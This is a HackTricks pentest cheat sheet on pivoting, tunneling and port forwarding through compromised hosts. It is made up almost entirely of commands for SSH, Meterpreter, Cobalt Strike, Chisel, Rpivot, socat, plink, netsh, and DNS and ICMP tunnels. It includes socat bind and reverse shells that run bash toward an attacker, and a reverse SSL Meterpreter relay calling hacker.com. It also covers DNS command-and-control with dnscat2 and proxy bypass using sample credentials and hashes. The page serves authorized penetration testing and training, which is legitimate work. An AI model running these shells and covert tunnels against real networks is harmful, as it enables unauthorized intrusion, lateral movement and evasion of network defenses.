hacktricks/generic-methodologies-and-resources/tunneling-and-port-forwarding.md

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# Tunneling and Port Forwarding
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<details>
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</details>
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## Nmap tip
{% hint style="warning" %}
**ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work.
{% endhint %}
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## **Bash**
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**Host -> Jump -> InternalA -> InternalB**
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```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
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nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
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# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
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exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
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# From the host, you can now access InternalB from the Jump server
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evil-winrm -u username -i Jump
```
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## **SSH**
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SSH graphical connection (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
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### Local Port2Port
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Open new Port in SSH Server --> Other port
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
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### Port2Port
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Local port --> Compromised host (SSH) --> Third\_box:Port
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
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sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
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### Port2hostnet (proxychains)
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Local Port --> Compromised host (SSH) --> Wherever
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
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### Reverse Port Forwarding
This is useful to get reverse shells from internal hosts through a DMZ to your host:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
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### VPN-Tunnel
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You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Enable forwarding on the Server side
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
Set a new route on the client side
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```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
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## SSHUTTLE
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You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
For example, forwarding all the traffic going to 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
Connect with a private key
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
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## Meterpreter
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### Port2Port
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Local port --> Compromised host (active session) --> Third\_box:Port
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
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### SOCKS
```bash
background# meterpreter session
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route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Another way:
```bash
background #meterpreter session
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use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
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use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
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## Cobalt Strike
### SOCKS proxy
Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
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### rPort2Port
{% hint style="warning" %}
In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
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{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
To note:
* Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines.
* The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links.
* You **don't need to be a local admin** to create reverse port forwards on high ports.
### rPort2Port local
{% hint style="warning" %}
In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port
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{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
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## reGeorg
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
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You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
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## Chisel
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You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
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You need to use the **same version for client and server**
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### socks
```bash
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./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
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#And now you can use proxychains with port 1080 (default)
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./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
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### Port forwarding
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```bash
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./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
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```
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## Rpivot
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
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Reverse tunnel. The tunnel is started from the victim.\
A socks4 proxy is created on 127.0.0.1:1080
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Pivot through **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
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## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
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### Bind shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
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### Reverse shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
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### Port2Port
```bash
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socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
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### Port2Port through socks
```bash
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socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
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### Meterpreter through SSL Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
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### SSL Socat Tunnel
**/bin/sh console**
Create certificates on both sides: Client and Server
```bash
# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
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### Remote Port2Port
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Connect the local SSH port (22) to the 443 port of the attacker host
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
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## Plink.exe
It's like a console PuTTY version ( the options are very similar to an ssh client).
As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
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## Windows netsh
### Port2Port
You need to be a local admin (for any port)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
You need to have **RDP access over the system**.\
Download:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
In your client computer load **`SocksOverRDP-Plugin.dll`** like this:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**.
**Connect** via **RDP** and upload & execute in the victim machine the **`SocksOverRDP-Server.exe` ** binary:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Now, confirm in you machine (attacker) that the port 1080 is listening:
```
netstat -antb | findstr 1080
```
Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.**
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## Proxify Windows GUI Apps
You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\
In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\
In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify.
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## NTLM proxy bypass
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The previously mentioned tool: **Rpivot**\
**OpenVPN** can also bypass it, setting these options in the configuration file:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
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### Cntlm
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[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
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It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\
For example that forward port 443
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```
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
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Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
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## YARP
A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
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## DNS Tunneling
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### Iodine
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
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```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
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```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
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### DNSCat2
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****[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
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Establishes a C\&C channel through DNS. It doesn't need root privileges.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
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# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
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#### **In PowerShell**
You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Port forwarding with dnscat**
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
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#### Change proxychains DNS
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Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
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## Tunnels in Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
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## ICMP Tunneling
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### Hans
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[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
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### ptunnel-ng
****[**Download it from here**](https://github.com/utoni/ptunnel-ng.git).
```bash
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
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## Other tools to check
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
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